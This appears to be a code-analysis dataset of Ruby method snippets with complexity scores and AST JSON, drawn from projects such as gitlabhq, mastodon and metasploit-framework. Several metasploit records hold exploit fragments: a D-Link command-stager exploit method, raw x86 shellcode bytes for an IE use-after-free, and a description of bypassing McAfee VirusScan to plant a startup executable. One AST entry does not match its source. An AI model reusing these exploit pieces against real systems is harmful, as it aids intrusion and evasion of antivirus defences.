{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":345,"raw_source":"def current_user_by_token\n    auth_header = request.headers[\"Authorization\"]\n    return unless auth_header.present? && auth_header.start_with?(\"Bearer \")\n\n    token = auth_header.split(\" \").last\n    payload = decode_auth_token(token)\n    return unless payload && payload[\"user_id\"]\n\n    user = User.find_by(id: payload[\"user_id\"])\n    return unless user\n\n    @current_user = user\n    @token_authenticated = true\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user_by_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_header\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_header\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"Bearer \"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_header\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"decode_auth_token\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@token_authenticated\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f5f96078-9cfe-4ae6-ae55-7dd2547e55cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/queries/reports/list_query.rb","start_line":8,"raw_source":"def initialize(name)\n        @name = name\n        @type = name.to_s.gsub(\"report_\", \"\")\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"report_\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"386abc11-3d81-47d1-b72e-a760276dd9ed"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/base_measure.rb","start_line":68,"raw_source":"def perform_queries\n    {\n      total: perform_total_query,\n      previous_total: perform_previous_total_query,\n      data: perform_data_query,\n    }\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[null,\"perform_total_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_total\"]},{\"type\":\"send\",\"children\":[null,\"perform_previous_total_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"perform_data_query\"]}]}]}]}","id":"98e15057-fd4c-4e8f-b7c3-c28539a468cc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb","start_line":88,"raw_source":"def exploit\n    print_status(\"Trying to access the device ...\")\n\n    unless check == Exploit::CheckCode::Detected\n      fail_with(Failure::Unknown, \"#{peer} - Failed to access the vulnerable device\")\n    end\n\n    print_status(\"Exploiting...\")\n\n    execute_cmdstager(\n      :flavor => :echo,\n      :linemax => 400\n    )\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to access the device ...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to access the vulnerable device\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Exploiting...\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"sym\",\"children\":[\"echo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[400]}]}]}]}]}]}","id":"2b062082-d006-409f-9c48-3578b03175b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ci/jobs.rb","start_line":313,"raw_source":"def filter_builds(builds, scope)\n          return builds if scope.nil? || scope.empty?\n\n          available_statuses = ::CommitStatus::AVAILABLE_STATUSES\n\n          unknown = scope - available_statuses\n          render_api_error!('Scope contains invalid value(s)', 400) unless unknown.empty?\n\n          builds.where(status: available_statuses && scope)\n        end","complexity_score":12.83,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_builds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builds\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builds\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"available_statuses\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CommitStatus\"]},\"AVAILABLE_STATUSES\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unknown\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"available_statuses\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unknown\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_api_error!\",{\"type\":\"str\",\"children\":[\"Scope contains invalid value(s)\"]},{\"type\":\"int\",\"children\":[400]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builds\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_statuses\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]}]}]}","id":"e7e3748b-c965-4a6a-9977-33b5a1938ab0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/heredoc_method_call_position.rb","start_line":103,"raw_source":"def heredoc_end_pos(heredoc)\n          heredoc.location.heredoc_end.end_pos\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"heredoc_end_pos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"heredoc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heredoc\"]},\"location\"]},\"heredoc_end\"]},\"end_pos\"]}]}","id":"5a042e1f-db5a-4f62-b707-9a045d518667"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/controllers/overviews/overviews_controller.rb","start_line":45,"raw_source":"def jump_to_project_menu_item\n      # try to redirect to the requested menu item\n      redirect_to_project_menu_item(@project, params[:jump]) if params[:jump]\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"jump_to_project_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jump\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to_project_menu_item\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jump\"]}]}]},null]}]}","id":"1a44c0c1-b0db-401b-a998-b5d0e4ba10d8"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/api/location_search_result_serializer.rb","start_line":8,"raw_source":"def call\n    {\n      query: @search_result[:query],\n      locations: serialize_locations(@search_result[:locations]),\n      total_locations: @search_result[:total_locations],\n      search_metadata: @search_result[:search_metadata]\n    }\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locations\"]},{\"type\":\"send\",\"children\":[null,\"serialize_locations\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locations\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_locations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total_locations\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search_metadata\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_metadata\"]}]}]}]}]}","id":"678388a6-2579-4a5a-bb0a-1837fe0283f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb","start_line":68,"raw_source":"def stack_adjust\n    adjust = \"\\x64\\xa1\\x18\\x00\\x00\\x00\"  # mov eax, fs:[0x18 # get teb\n    adjust << \"\\x83\\xC0\\x08\"             # add eax, byte 8 # get pointer to stacklimit\n    adjust << \"\\x8b\\x20\"                 # mov esp, [eax] # put esp at stacklimit\n    adjust << \"\\x81\\xC4\\x30\\xF8\\xFF\\xFF\" # add esp, -2000 # plus a little offset\n\n    adjust\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stack_adjust\",{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"adjust\"]}]}","id":"03409d69-d063-4648-9e20-8c9db37ed298"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/token.rb","start_line":47,"raw_source":"def token_from_basic_header(header, pattern)\n          encoded_header = token_from_header(header, pattern)\n          decode_basic_credentials_token(encoded_header)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"token_from_basic_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoded_header\",{\"type\":\"send\",\"children\":[null,\"token_from_header\",{\"type\":\"lvar\",\"children\":[\"header\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]},{\"type\":\"send\",\"children\":[null,\"decode_basic_credentials_token\",{\"type\":\"lvar\",\"children\":[\"encoded_header\"]}]}]}]}","id":"6cced863-1ac4-4915-9a18-e8fb70dc2a9b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/appeal_service.rb","start_line":4,"raw_source":"def call(strike, text)\n    @strike = strike\n    @text   = text\n\n    create_appeal!\n    notify_staff!\n\n    @appeal\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strike\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strike\",{\"type\":\"lvar\",\"children\":[\"strike\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@text\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"create_appeal!\"]},{\"type\":\"send\",\"children\":[null,\"notify_staff!\"]},{\"type\":\"ivar\",\"children\":[\"@appeal\"]}]}]}","id":"af27f3d0-88a3-4fce-8e28-30fb9aaf9308"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/stage_events/merge_request_merged.rb","start_line":20,"raw_source":"def column_list\n            [mr_metrics_table[:merged_at]]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"column_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mr_metrics_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merged_at\"]}]}]}]}","id":"711b28dc-691f-4a95-b2ac-26c1bcd2e5b7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/exporter.rb","start_line":50,"raw_source":"def zip_folder(dir, files)\n      zip_file = Tempfile.new bcf_filename\n\n      Zip::OutputStream.open(zip_file.path) do |zos|\n        files.each do |file|\n          name = file.sub(\"#{dir}/\", \"\")\n          zos.put_next_entry(name)\n          zos.print File.read(file)\n        end\n      end\n\n      zip_file\n    end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"zip_folder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zip_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"bcf_filename\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zip\"]},\"OutputStream\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_file\"]},\"path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zos\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"sub\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zos\"]},\"put_next_entry\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zos\"]},\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"zip_file\"]}]}]}","id":"deee3217-37a7-4df8-9fc7-4aaa3086b51e"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog_cli.rb","start_line":218,"raw_source":"def print_score io, name, score\n    location = method_locations[name]\n    if location then\n      sep = \" \"\n      sep = \"%-11s\" % \"\\n\" if option[:extended]\n      io.puts \"%8.1f: %-32s%s%s\" % [score, name, sep, location]\n    else\n      io.puts \"%8.1f: %s\" % [score, name]\n    end\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"print_score\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"score\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_locations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sep\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extended\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sep\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%-11s\"]},\"%\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%8.1f: %-32s%s%s\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"sep\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%8.1f: %s\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"06c2f92d-bfe1-41a0-a0cd-25b713a20081"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/virusscan_bypass.rb","start_line":26,"raw_source":"def usage()\n  print_line \"\\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \\t\\tWeb: http://www.mertsarica.com\"\n  print_line \"----------------------------------------------------------------------------------------------\"\n  print_line \"Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it\"\n  print_line \"to exclusion list and set it to run at startup. (Requires administrator privilege)\"\n  print_line \"----------------------------------------------------------------------------------------------\"\n  print_line(@@exec_opts.usage)\nend","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"\\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \\t\\tWeb: http://www.mertsarica.com\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"----------------------------------------------------------------------------------------------\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"to exclusion list and set it to run at startup. (Requires administrator privilege)\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"----------------------------------------------------------------------------------------------\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@exec_opts\"]},\"usage\"]}]}]}]}","id":"94c764f8-f1a0-412d-b1e3-8ed9a933810c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_config/worker.rb","start_line":44,"raw_source":"def to_sort\n        [queue_namespace ? 0 : 1, generated_queue_name]\n      end","complexity_score":3.28,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sort\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue_namespace\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"generated_queue_name\"]}]}]}","id":"6976c200-169c-4e06-94f2-1f97501e9fde"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/virtual_box_opengl_escape.rb","start_line":290,"raw_source":"def check\n    handle = open_device\n    if handle.nil?\n      return Exploit::CheckCode::Safe\n    end\n\n    session.railgun.kernel32.CloseHandle(handle)\n\n    Exploit::CheckCode::Detected\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"handle\",{\"type\":\"send\",\"children\":[null,\"open_device\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"CloseHandle\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]}","id":"432058c2-dc5d-411b-a3ba-65031c582346"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/databrics_model/client.rb","start_line":52,"raw_source":"def run_model(connection_config, payload)\n        connection_config = connection_config.with_indifferent_access\n\n        url = build_url(DATABRICKS_SERVING_URL, connection_config)\n        token = connection_config[:token]\n\n        response = send_request(\n          url: url,\n          http_method: HTTP_POST,\n          payload: payload,\n          headers: auth_headers(token),\n          config: connection_config[:config]\n        )\n        process_response(response)\n      rescue StandardError => e\n        handle_exception(e, context: \"DATABRICKS MODEL:RUN_MODEL:EXCEPTION\", type: \"error\")\n      end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"build_url\",{\"type\":\"const\",\"children\":[null,\"DATABRICKS_SERVING_URL\"]},{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_method\"]},{\"type\":\"const\",\"children\":[null,\"HTTP_POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"auth_headers\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"DATABRICKS MODEL:RUN_MODEL:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"8383707c-1542-4128-872c-41f43e64e2cf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/sudo_baron_samedit.rb","start_line":149,"raw_source":"def find_exec_program\n    return 'python' if command_exists?('python')\n    return 'python3' if command_exists?('python3')\n\n    return false\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_exec_program\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"python\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"python3\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"python3\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"609d74ef-5b53-49fe-a9c2-38f188f9894c"}
